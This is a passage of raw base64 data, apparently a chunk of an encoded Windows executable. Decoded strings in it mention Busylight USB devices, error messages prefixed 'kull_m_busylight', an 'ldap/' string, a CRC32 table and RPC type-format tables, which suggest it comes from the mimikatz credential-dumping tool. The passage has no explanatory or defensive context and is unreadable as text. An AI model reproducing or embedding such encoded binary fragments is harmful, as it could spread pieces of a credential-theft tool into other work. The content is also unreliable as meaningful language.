BBANAAAAIAMEEA8AAACACwQQEAAAAIgLBBAFAAAAKAMEEB4AAACQCwQQEgAAAJQLBBAgAAAAmAsEEAwAAACcCwQQCwAAAKQLBBAVAAAArAsEEBwAAAC0CwQQGQAAALwLBBARAAAAxAsEEBgAAADMCwQQFgAAANQLBBAXAAAA3AsEECIAAADkCwQQIwAAAOgLBBAkAAAA7AsEECUAAADwCwQQJgAAAPgLBBBzaW5oAAAAAGNvc2gAAAAAAAAAAAAA8H/////////vfwAAAAAAAACAJTA0aHUlMDJodSUwMmh1JTAyaHUlMDJodSUwMmh1WgBCAHUAcwB5AGwAaQBnAGgAdAAgAEwAeQBuAGMAIABtAG8AZABlAGwAIAAoAHcAaQB0AGgAIABiAG8AbwB0AGwAbwBhAGQAZQByACkAAAAAAEIAdQBzAHkAbABpAGcAaAB0ACAAVQBDACAAbQBvAGQAZQBsAAAAAABrAHUAYQBuAGQAbwBCAE8AWAAAAEIAdQBzAHkAbABpAGcAaAB0ACAATwBtAGUAZwBhACAAbQBvAGQAZQBsAAAAQgB1AHMAeQBsAGkAZwBoAHQAIABMAHkAbgBjACAAbQBvAGQAZQBsACAAKABNAGkAYwByAG8AYwBoAGkAcAAgAEkAZAApAAAARgB1AGoAaQB0AHMAdQAgAE0ATQBNADIAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEgAaQBkAFAAXwBHAGUAdABDAGEAcABzACAAKAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACAAKABoAEsAZQBlAHAAQQBsAGkAdgBlAFQAaAByAGUAYQBkACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABoAEIAdQBzAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAZABlAHYAaQBjAGUASABhAG4AZABsAGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABTAGUAdAB1AHAARABpAEcAZQB0AEMAbABhAHMAcwBEAGUAdgBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABXAHIAaQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAFMAaQB6AGUAIABpAHMAIABuAG8AdAAgAHYAYQBsAGkAZABlACAAKABzAGkAegAgAD0AIAAlAHUALAAgAG0AYQB4ACAAPQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAEkAbgB2AGEAbABpAGQAIABEAGUAdgBpAGMAZQAvAEIAdQBzAHkAIABIAGEAbgBkAGwAZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkA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CAAIABIIJVxbCAgIXFsbAwwAGQAAAAEAS1xISQwAAAACAAQABAASCCVcCAAIABIIJVxbTAC5/1sWAwgAS1xGXAQABAASAMj/WwgIWxYDBABLXEZcAAAAABIA3v9bCFxbEQACACsJKQAEAAEAAgAUAAEAAQAAAC4A//+3CAAAAAAQJwAAGwMEABkADAABAEtcSEkEAAAAAQAAAAAAEgglXFsIXFsaAxQAAAAMAAgINkwAyf82XFsSCCVcEgDI/xEEAgArCSlUDAABAAIABAABAAEAAAAEAP//FQMEAAhbEQACACsJKQAEAAEAAgAMAAEAAQAAAAQA//8WAwwAS1xGXAAAAAASCCVcRlwEAAQAEgglXFsICAhcWxEEAgArCSlUDAABAAIABAABAAEAAACq////EQACACsJKQAEAAEAAgAEAAEAAQAAAAQA//8WAwQAS1xGXAAAAAASCCVcWwhcWxEEAgArCSlUDAABAAIABAABAAEAAABi////EQACACsJKQAEAAEAAgAIAAEAAQAAAAQA//8WAwgAS1xGXAAAAAASCCVcWwgIWxEEAgArCSlUDAABAAIACAAEAAEAAACkAAIAAAB0AQMAAABGAv////+YAv//twgAAAAAECcAABYDHABLXEZcAAAAABIIJVxGXAQABAASCCVcRlwIAAgAEgglXEZcDAAMABIIJVxGXBAAEAASCCVcWwgICAgICAhcWxsDHAAZAAAAAQBLXEhJHAAAAAUAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXFtMAH//WxoDCAAAAAgATABo/zZbEgCu/7cIAAAAABAnAAAWA2gAS1xGXAAAAAASCCVcRlwEAAQAEgglXEZcCAAIABIIJVxGXAwADAASCCVcRlwQABAAEgglXEZcFAAUABIIJVxGXBgAGAASCCVcWwgICAgICAgICAhMAFHyTABN8kwASfJMAEXyWxsDaAAZAAAAAQBLXEhJaAAAAAcAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXBQAFAASCCVcGAAYABIIJVxbTABJ/1saAwgAAAAIAEwAMv82WxIAnv+3CAAAAAAQJwAAFgNsAEtcRlwAAAAAEgglXEZcBAAEABIIJVxGXAgACAASCCVcRlwMAAwAEgglXEZcEAAQABIIJVxGXBQAFAASCCVcRlwYABgAEgglXFsICAgICAgICAgICEwAevFMAHbxTABy8UwAbvFcWxsDbAAZAAAAAQBLXEhJbAAAAAcAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXBQAFAASCCVcGAAYABIIJVxbTABH/1saAwgAAAAIAEwAMP82WxIAnv+3CAAAAAAQJwAAFgMcAEtcRlwYABgAEgglXFsICAgICAgIXFsbAxwAGQAAAAEAS1xISRwAAAABABgAGAASCCVcW0wAx/9bGgMIAAAACABMALD/NlsSAM7/EQACACsJKQAEAAEAAgAYAAMAAQAAABAAAgAAAC4AAwAAADYA//8aAwwAAAAIADZMABP0WxEA+vAaAxQAAAAIADZMABP0WxIA8P8aAxQAAAAAAEwA5P9cWxoDGAAAAAgATADW/zZbEgBY+REAAgArCSlUDAABAAIAQAADAAEAAAAQAAIAAABKAAMAAADEAf//GgNAAAAAAABMABTwTAB88AgICAgGPlxbtwgAAAAAECcAABUDLABMAPbvTABe8FxbGwMsABkAGAABAEwA5v9cWxoDIAAAABAANggICAgGPkwAx/82XFsSAEjwEgDU/7cIAAAAABAnAAArCRkABAABAAIADAABAAEAAAAgAf//KwkZAAQAAQACACwABwABAAAATgACAAAAXAADAAAA4AAEAAAA6gAFAAAA5AAGAAAA3gAHAAAA2AD//xoDIAAAAAAACAgIBj4ICEwAjfJbGgMkAAAACAA2TADh/1sSAPD/GgMsAAAACgA2CEwA4v9cWxIAsO8WAxQAS1xGXBAAEAASAKDvWwgICAY+CFsVAQQAAgIGWxwBAgAXVQIAAQAXVQAAAQAFWxYDCABLXEZcBAAEABIA4P9bBgYIXFsWAwgAS1xGXAAAAAASAPL/RlwEAAQAEgDS/1sICFsaAyAAAAASADZMAKf/BgYGBjY2CAI/XFsSAC7vEgDE/xIA3v8aAywAAAAAAAgICEwAz/9bGgMQAAAAAAAICAgGPlsWAwwAS1xGXAgACAASANb+WwgICFxbGwMsABkADAABAEwAZv5cWxoDFAAAAAwANgg2TACR/jZcWxIAzO4SAJD+EgDU/xEAAgArCSkABAABAAIACAABAAEAAAAEAP//FQMIAAgIXFsRAAIAKwkpAAQAAQACACgAAgABAAAACgACAAAAHAD//xYDGABLXEZcBAAEABIIJVxbCAhMAOntWxYDKABLXEZcBAAEABIIJVxGXBwAHAASCCVcRlwgACAAEgglXFsICEwAve0ICAgIWxEEAgArCSlUDAABAAIABAAPAAAAAABYAAEAAADsAAIAAAD0AAMAAAA8AQQAAAA2AQUAAAB+AQYAAADIAQcAAABAAggAAABmAgkAAACeAgoAAADeAvr///8yA/v///90A/z///9yA/7///8EAP//EgBkABYHgABLXEZcAAAAABIIJVxGXAQABAASCCVcRlwIAAgAEgglXEZcDAAMABIIJVxbCAgICAgITAAN7UwACe1MAAXtTAAB7QsLTADV/kwA0f4ICFsbB4AACQD4/wEATACi/1xbGAcIAOz/S1xISYAACAAEAAgACAASCCVcDAAMABIIJVwQABAAEgglXBQAFAASCCVcWwgIWxIAAgAXBwgAFO4ICFxbEgAwABYHMABLXEZcAAAAABIIJVxbCAhMAGH+TACD7AsLWxsHMAAJAPj/AQBMANb/XFsYBwgA7P9LXEhJMAAIAAEACAAIABIIJVxbCAhbEgAwABYDJABLXEZcAAAAABIIJVxbCEwAOuxMABD+CAhcWxsDJAAJAPj/AQBMANb/XFsYAwgA7P9LXEhJJAAIAAEACAAIABIIJVxbCAhbEgBAABoDRAAAABYATADQ/QgIDQg2NjZMAOvrTADn61sSCCVcEgglXBIIJVwhAwAACQD8/wEA/////wAATADG/1xbGgMMAOb/AABMAJL9CFsSAFAAFgdQAEtcRlwAAAAAEgglXEZcBAAEABIIJVxGXAwADAAUAFD1WwgICAhMAF/9TABb/QhMAFb9TAB460ALC1sbB1AACQD4/wEATAC2/1xbGAcIAOz/S1xISVAACAADAAgACAASCCVcDAAMABIIJVwUABQAFAD+9FsICFsSACAAFQcgAEwALOsLTAAB/VsbByAACQD4/wEATADm/1xbFwcIAOz/CAhcWxIAMAAaBygAAAAOAEwA/OoLTADR/DZAWxIIJVwhBwAACQD4/wEA/////wAATADW/1xbGgcIAOb/AAAICFxbEgA4ABoHOAAAABIANghMAJb8TAC46gsLNkBcWxIIJVwSCCVcIQcAAAkA+P8BAP////8AAEwAzv9cWxoHCADm/wAACAhcWxIATAAaB1gAAAAeADY2CDZMAE78TABK/AhMAEX8TABn6kALCzZAXFsSCCVcEgglXBQAFvQSCCVcIQcAAAkA+P8BAP////8AAEwAuv9cWxoHCADm/wAACAhcWxIAOAC3CAAAAAAAAQAAGgcoAAAADAA2CAgICAgLCEBbEgglXCEHAAAJAPj/AQD/////AABMANj/XFsaBwgA5v8AAEwAwP8IWxIAYOsSACwAtwgAAAAAECcAABUHMAALCAhMAMnpCwgIXFsbBzAACQD4/wEATADk/1xbGgcIAOz/AABMAMz/CFsRAAIAKwkpAAQAAQACADAAAQABAAAARgD//7cIAAAAAAABAAC3CAAAAAAAAQAAtwgAAAAAAAEAABsBAgAZABAAAQAFWxsBAgAZABgAAQAFWxsBAgAZACAAAQAFWxoDMAAAABgACDY2NkwAsP82TAC1/zZMALr/NjY2WxIIJVwSCCVcFAglXBIAsP8SALj/EgDA/xIIJVwSCCVcEQQCACsJKVQMAAEAAgAEAAEAAQAAAKT0//8RAAIAKwkpAAQAAQACAAgAAQABAAAAJAD//7cIAQAAABAnAAAhAwAAGQAAAAEA/////wAATAC48FxbGgMIAAAACABMANb/NlsSANr/EQQCACsJKVQMAAEAAgAIAAEAAQAAACQA//+3CAAAAAAQJwAAIQMAABkAAAABAP////8AAEwA4vBcWxoDCAAAAAgATADW/zZbEgDa/xEAAgArCSkABAABAAIAGAABAAEAAAAEAP//FgMYAEtcRlwAAAAAEQCy6FsITAAq6AhbEQACACsJKQAEAAEAAgAsAAEAAQAAAAoA//8dABAAAlsWAywAS1xGXBQAFAASAHroRlwYABgAEgBs6VtMAOnnCAgITADW/1xbEQQCACsJKVQMAAEAAgAMAAEAAQAAAB4A//+3CAAAAAAAAKAAGwMQABkABAABAEwArudcWxoDDAAAAAoACEwA2/82XFsSAN7/EQACACsJKQAEAAEAAgAQAAEAAQAAAC4A//+3CAEAAAAQJwAAGwMEABkABAABAEtcSEkEAAAAAQAAAAAAEgglXFsIXFsaAxAAAAAKADZMAMv/NghbEgglXBIAyv8RBAIAKwkpVAwAAQACAAwAAQABAAAAHgD//7cIAAAAABAnAAAbAwgAGQAAAAEATADk+FxbGgMMAAAACgBMANz/NghcWxIA3v8RAAIAKwkpAAQAAQACAAQAAQABAAAAjPL//xEEAgArCSlUDAABAAIABAABAAEAAABy8v//EQACACsJKQAEAAEAAgAYAAEAAQAAAAQA//8WAxgAS1xGXBQAFAARABjnWwhMAJDmCFsRBAIAKwkpVAwAAQACAAQAAQABAAAAJvL//xEAAgArCSkABAABAAIAGAABAAEAAAAEAP//FgMYAEtcRlwUABQAEgglXFsITABE5ghbEQQCACsJKVQMAAEAAgAMAAEAAQAAAAQA//8VAwwACAgIWxEAAgArCSkABAABAAIACAABAAEAAAAEAP//FgMIAEtcRlwAAAAAEgglXEZcBAAEABIIJVxbCAhbEQQCACsJKVQMAAEAAgAQAAEAAQAAABoA//+3CAAAAAAABAAAGwECABkACAABAAVbGgMQAAAACgA2NkwA3v82WxIIJVwSCCVcEgDa/xEAAgArCSkABAABAAIADAABAAEAAAAOAP//twgAAAAA//8AABoDDAAAAAoANkwA6/82XFsSCCVcEgCi6REEAgArCSlUDAABAAIABAABAAEAAAD48P//EQACACsJKQAEAAEAAgAEAAEAAQAAAFLx//8RBAIAKwkpVAwAAQACAAwAAQABAAAADgD//7cIAAAAAP//AAAaAwwAAAAKAAhMAOv/NlxbEgA26REAAgArCSkABAABAAIABAABAAEAAACM8P//EQQCACsJKVQMAAEAAgAgAAEAAQAAADoA//+3CAAAAAAABAAAtwgAAAAAAACgALcIAAAAAAAAoAAbAAEAGQAQAAEAAlsbAAEAGQAYAAEAAlsaAyAAAAAUAAg2TAC+/zZMAMP/NkwAyP82WxIIJVwSACruEgDE/xIAzP8RAAIAKwkpAAQAAQACAAwAAQABAAAADgD//7cIAQAAAAAEAAAaAwwAAAAKAAhMAOv/NlxbEgBq6BEEAgArCSlUDAABAAIACAABAAEAAAAEAP//FgMIAEtcRlwEAAQAEgglXFsICFsAAHhCBBAQiwAQNosAEEwoBhAAAAAAAAAAAAAAAAAAAAAAgh0EEAEAAAAAAAYAAAAAAFMCAAgAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAABgAMgAAAEQAQABHBQgHAQABAAAACgAEAAIACwAIABgAEyAMAEAAEAEQAEgAcAAUAAgAAEgAAAAAAQAIADDgAAAAADgAQABEAggBAAAAAAAAGAEAAFAAcAAEAAgAAEgAAAAAAgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAFwAcAAMAAgAAEgAAAAAAwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMgAUCEMAAgAEwEQAPgCcAAUAAgAAEgAAAAABAAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAMQFcAAMAAgAAEgAAAAABQAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAAIGcAAMAAgAAEgAAAAABgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAJAGcAAMAAgAAEgAAAAABwAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAMoGcAAMAAgAAEgAAAAACAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAA4HUCEMAAgAE2EQAG4HcAAUAAgAAEgAAAAACQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMAHUCEMAAgAE2EQACoIcAAUAAg